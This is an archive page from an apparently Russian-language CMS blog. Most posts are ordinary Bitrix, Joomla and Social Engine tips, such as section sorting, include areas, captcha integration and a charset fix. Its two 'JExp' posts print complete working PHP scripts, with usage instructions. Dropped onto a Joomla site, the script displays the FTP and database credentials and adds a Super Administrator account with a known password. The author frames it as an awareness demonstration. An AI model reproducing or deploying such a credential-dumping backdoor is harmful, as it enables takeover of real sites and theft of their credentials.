Архив

Архив раздела ‘CMS’
29 октября 2010 1 комментарий

Суть такова: нужна сортировка элементов IBLOCK по их разделам. В примере сортировка статей по рубрикам.
В шаблоне перед списком элементов инфоблока добавляем форму:

<?
echo'<form method="get" id="s_change">';
echo'<select name="s_id" onchange="$(\'#s_change\').submit();">';
$options_array=array();
foreach($arResult["ITEMS"] as $array_section_id):
	if(!in_array($array_section_id["IBLOCK_SECTION_ID"],$options_array)):
		$options_array[]=$array_section_id["IBLOCK_SECTION_ID"];
	endif;
endforeach;
foreach($options_array as $option_id):
	$option_get_name=CIBlockSection::GetByID($option_id); 
	if($options_names_array=$option_get_name->GetNext()):
		$option_name=$options_names_array['NAME'];
	endif;
	if($_GET['s_id']==$option_id):
		$if_option_selected=' selected="selected"';
	else:
		$if_option_selected='';
	endif;
	echo'<option value="'.$option_id.'"'.$if_option_selected.'>'.$option_name.'</option>';
endforeach;
if(($_GET['s_id']=='all')||($_GET['s_id']==null)):
	$if_print_all_selected=' selected="selected"';
else:
	$if_print_all_selected='';
endif;
echo'<option value="all"'.$if_print_all_selected.'>Все рубрики</option>';
echo'</select>';
echo'</form>';
?>

Внутри foreach, в котором выводим сами статьи:

<?if(($_GET['s_id']!=null)&&($_GET['s_id']!='all')){
	$FL=$_GET['s_id'];
}
else {
	$FL=$arItem["IBLOCK_SECTION_ID"];
}
if($arItem["IBLOCK_SECTION_ID"]==$FL) {?>
	<!--рисуем элемент-->
<?}?>
Categories: CMS Tags:
27 октября 2010 Нет комментариев

Что по-правильному называется «Вставка включаемой области».
В нужном нам месте пишем как-то так:

<?$APPLICATION->IncludeComponent("bitrix:main.include","",Array(
		"AREA_FILE_SHOW" => "sect", 
		"AREA_FILE_SUFFIX" => "inc", 
		"AREA_FILE_RECURSIVE" => "Y", 
		"EDIT_TEMPLATE" => "standard.php" 
	)
);?>

после чего в режиме редактирования появится кнопка «Редактировать включаемую область раздела»
жмем на нее и редактируем)) поле первого сохранения все наверное поплывет, но мы не расстраиваемся и удаляем из созданного в корне файла sect_inc.php:

<?
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php");
$APPLICATION->SetTitle("");
?>

и

<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/footer.php");?>

http://dev.1c-bitrix.ru/user_help/settings/settings/components_2/include_areas/main_include.php

Categories: CMS Tags:
28 июля 2010 2 комментария

Интеграция kcaptcha.
Отключаем в настройках ruBook стандартную защиту. Далее правятся файлы. (Проверялось на версии 0.4.3.)
1. /components/com_rubook/rubook.html.php
после:

<?php
    if ( is_imgcode() ) {
?>
  <tr>
    <td><?php echo _COM_RUBOOK_LANG_FIELD_ENTER_CODE; ?></td>
    <td><input type="text" class="inputbox" name="info[imgcodetext]" maxlength="7" style="width: 130px" /></td>
    <td colspan="2"><img src="<?php echo $GLOBALS['mosConfig_live_site']; ?>/components/com_rubook/imgcode.php"></td>
  </tr>
<?php
    }
?>

дописываем:

  <tr>
    <td><?php echo _COM_RUBOOK_LANG_FIELD_ENTER_CODE; ?></td>
    <td><input type="text" class="inputbox" name="info[keystring]" maxlength="7" style="width: 130px" /></td>
    <td colspan="2"><img src="<?php echo $GLOBALS['mosConfig_live_site']; ?>/imgcode/?<?php echo session_name()?>=<?php echo session_id()?>" /></td>
  </tr>

<?php echo $GLOBALS['mosConfig_live_site']; ?>/imgcode/ — путь к файлам kcaptcha, т.е. в примере распаковываем содержимое архива в папку imgcode в корне сайта.
2. components/com_rubook/rubook.class.php
после

        /** Проверка кода защиты */
        if ( ( $GLOBALS['mosRuBookConfig_imgcode'] == 1 ) and ( $GLOBALS['mosRuBookUser_admin'] != 1 ) ) {
            if ( ! ( $_SESSION['img_code'] == md5( $object->imgcodetext ) ) ) {
                $object->_error = _COM_RUBOOK_LANG_CODE_BAD;
                return false;
            }
        }

дописываем:

        if (isset($_SESSION['captcha_keystring']) && $_SESSION['captcha_keystring'] != $object->keystring) {
                $object->_error = _COM_RUBOOK_LANG_CODE_BAD;
                return false;
        }

после:

$object->imgcodetext = ( isset( $info['imgcodetext'] ) ) ? $info['imgcodetext'] : '';

дописываем:

$object->keystring = ( isset( $info['keystring'] ) ) ? $info['keystring'] : '';

после:

$this->imgcodetext = ( isset( $info['imgcodetext'] ) ) ? $info['imgcodetext'] : '';

дописываем:

$this->keystring = ( isset( $info['keystring'] ) ) ? $info['keystring'] : '';

Проверка значения параметра REFERER.
Т.е. адреса страницы, откуда выполнен переход. Если этот параметр пустой значит запрос к форме выполняется напрямую.

        if ($_SERVER["HTTP_REFERER"] == '') {
            $object->_error = "Spam Detected!";
            return false;
        }

Проверка, не содержит ли коммент ссылку
Лучше наверное добавить какую-то регулярку для проверки на наличие ссылок, но сейчас поступим более параноидально:

        if (preg_match("/http/i", $object->text)) {
            $object->_error = "Links in the comments are not allowed!";
            return false;
        }
Categories: CMS Tags:

По умолчанию в Social Engine 2 БД создается в кодировке latin1_general_ci и после переноса на другой сервер для устранения ошибки с кодировкой во время чтения из БД пришлось в header.php и admin/admin_header.php после инициализации коннекта к базе:

$database = new se_database($database_host, $database_username, $database_password, $database_name);

дописать следующее:

$char = $database->database_query("set session character_set_server=latin1;"); 
$char = $database->database_query("set session character_set_database=latin1;"); 
$char = $database->database_query("set session character_set_connection=latin1;"); 
$char = $database->database_query("set session character_set_results=latin1;"); 
$char = $database->database_query("set session character_set_client=latin1;");
Categories: CMS Tags: , ,

Цель: убрать <br/><br/> между списком страниц и «Страница 1 из 40»
После

<?php echo $this->pagination->getPagesLinks(); ?>

1. /components/com_content/views/frontpage/tmpl/default.php (возможно 92 строка)
2. /components/com_content/views/category/tmpl/blog.php (возможно 109 строка)

Categories: CMS Tags:
14 апреля 2010 1 комментарий

По функциональности ничем не отличается от JExp 0.1, но реализовано более правильно.

  1. <?php
  2. function GetParam($arg) {
  3.    global $exp;
  4.    $show = $exp->$arg;
  5.    return $show;
  6. }
  7. function PrintParam($arg) {
  8.    print("<b>".$arg.":&nbsp;</b>".GetParam($arg)."<br/>");
  9. }
  10. if ($_SERVER["QUERY_STRING"] == $_SERVER["HTTP_HOST"]) {
  11.    include "configuration.php";
  12.    $exp = new JConfig();
  13.    echo "<h3>ftp configuration</h3>";
  14.    PrintParam('ftp_host');
  15.    PrintParam('ftp_user');
  16.    PrintParam('ftp_pass');
  17.    echo "<h3>mysql configuration</h3>";
  18.    PrintParam('host');
  19.    PrintParam('user');
  20.    PrintParam('db');
  21.    PrintParam('password');
  22.    PrintParam('dbprefix');
  23.    echo "<form action='' method='post'><input type='submit' value='add superadmin' name='au' /></form>";
  24.    if ($_POST['au'] != null) {
  25.       $here_we_go = mysql_connect(GetParam("host"), GetParam("user"), GetParam("password"));
  26.       $select_db_query = mysql_select_db(GetParam("db"), $here_we_go);
  27.       $new_username = "username02";
  28.       $new_fullname = "UserName";
  29.       $new_pass_hash = "0c351ddbe5c2e39bae0238901468c0b5:B0peDjABSuno3ZBsBVJjVn6V7Y8VETCF";
  30.       $jos_users_query = mysql_query("
  31.          INSERT INTO jos_users
  32.          (name, username, email, password, usertype, block, sendEmail, gid, registerDate)
  33.          VALUES
  34.          ('".$new_fullname."', '".$new_username."', '".$new_username."@example.com', '".$new_pass_hash."', 'Super Administrator', '0', '1', '25', NOW())
  35.          ", $here_we_go);
  36.       $jos_core_acl_aro_query = mysql_query("
  37.          INSERT INTO jos_core_acl_aro
  38.          (section_value, value, order_value, name, hidden)
  39.          VALUES
  40.          ('users', LAST_INSERT_ID(), '0', '".$new_fullname."', '0')
  41.          ", $here_we_go);
  42.       $jos_core_acl_groups_aro_map_query = mysql_query("
  43.          INSERT INTO jos_core_acl_groups_aro_map
  44.          (group_id, aro_id)
  45.          VALUES
  46.          ('25', LAST_INSERT_ID())
  47.          ", $here_we_go);
  48.       echo "added superadmin - ".$new_username.":qwerty";
  49.    }
  50. }
  51. else {
  52.    echo "unauthorized access!";
  53. }
  54. ?>
Categories: CMS Tags: ,
14 апреля 2010 Нет комментариев

Актуальная версия скрипта: JExp 0.2
Информация исключительно для того, чтобы понимать необходимость защиты сайта от доступа к файловой системе. Скрипт, используя конфигурационный файл joomla, выводит на экран интересующие нас параметры доступа к сайту, а также позволяет удаленно добавить пользователя в группу Super Administrator.

  1. <?php
  2. if ($_SERVER["QUERY_STRING"] == $_SERVER["HTTP_HOST"]) {
  3.    include "configuration.php";
  4.    $exp = new JConfig();
  5.    function PrintParam($arg) {
  6.       global $exp;
  7.       $arg_ans = $exp->$arg;
  8.       print("<b>".$arg.":&nbsp;</b>".$arg_ans."<br/>");
  9.    }
  10.    echo "<h3>ftp confuguration</h3>";
  11.    PrintParam('ftp_host');
  12.    PrintParam('ftp_user');
  13.    PrintParam('ftp_pass');
  14.    echo "<h3>mysql configuration</h3>";
  15.    PrintParam('host');
  16.    PrintParam('user');
  17.    PrintParam('db');
  18.    PrintParam('password');
  19.    PrintParam('dbprefix');
  20.    echo "<form action='' method='post'><input type='submit' value='add superadmin' name='au' /></form>";
  21.    if ($_POST['au'] != null) {
  22.       $connect = mysql_connect($exp->host, $exp->user, $exp->password);
  23.       $db_select = mysql_select_db($exp->db, $connect);
  24.       $new_username = "username02";
  25.       $new_fullname = "UserName";
  26.       $new_pass_hash = "0c351ddbe5c2e39bae0238901468c0b5:B0peDjABSuno3ZBsBVJjVn6V7Y8VETCF";
  27.  
  28.       $add_query = "INSERT INTO jos_users
  29.          (name, username, email, password, usertype, block, sendEmail, gid, registerDate)
  30.          VALUES
  31.          ('".$new_fullname."', '".$new_username."', '".$new_username."@example.com', '".$new_pass_hash."', 'Super Administrator', '0', '1', '25', NOW())";
  32.       $add_action = mysql_query($add_query, $connect);
  33.  
  34.       $jos_core_acl_aro_SQ = "SELECT id FROM jos_users WHERE username='".$new_username."'";
  35.       $jos_core_acl_aro_SA = mysql_query($jos_core_acl_aro_SQ, $connect);
  36.       $jos_core_acl_aro_SR = mysql_fetch_array($jos_core_acl_aro_SA, $connect);
  37.       $jos_core_acl_aro_ID = $jos_core_acl_aro_SR[0];
  38.  
  39.       $jos_core_acl_aro_IQ = "INSERT INTO jos_core_acl_aro (section_value, value, order_value, name, hidden) VALUES
  40.       ('users', '".$jos_core_acl_aro_ID."', '0', '".$new_fullname."', '0')";
  41.       $jos_core_acl_aro_IA = mysql_query($jos_core_acl_aro_IQ, $connect);
  42.  
  43.       $jos_core_acl_groups_aro_map_SQ = "SELECT id FROM jos_core_acl_aro WHERE name='".$new_fullname."'";
  44.       $jos_core_acl_groups_aro_map_SA = mysql_query($jos_core_acl_groups_aro_map_SQ, $connect);
  45.       $jos_core_acl_groups_aro_map_SR = mysql_fetch_array($jos_core_acl_groups_aro_map_SA, $connect);
  46.       $jos_core_acl_groups_aro_map_ID = $jos_core_acl_groups_aro_map_SR[0];
  47.  
  48.  
  49.       $jos_core_acl_groups_aro_map_IQ = "INSERT INTO jos_core_acl_groups_aro_map (group_id, aro_id) VALUES
  50.       ('25', '".$jos_core_acl_groups_aro_map_ID."')";
  51.       $jos_core_acl_groups_aro_map_IA = mysql_query($jos_core_acl_groups_aro_map_IQ, $connect);
  52.  
  53.       echo "added superadmin - ".$new_username.":qwerty";
  54.    }
  55. }
  56. else {
  57.    echo "unauthorized access!";
  58. }
  59. ?>

Использование:
include "configuration.php"; — путь к файлу в зависимости от того, где в файловой системе находится скрипт.
Параметры нового пользователя, а именно логин, полное имя, e-mail и т.д. указываются в тексте скрипта. Там, кажется, все понятно.
Пароль указан в том формате, в котором его хранит Joomla. В примере указан хэш пароля qwerty, изменить его можно уже из админки. Ну или же создать где-нибудь у себя пользователя и скопировать хэш из phpMyAdmin.
В браузере GETом передаем скрипту имя сервера, ну что-то вроде защиты от случайного использования, наверное можно придумать что-то интереснее.

Categories: CMS Tags: ,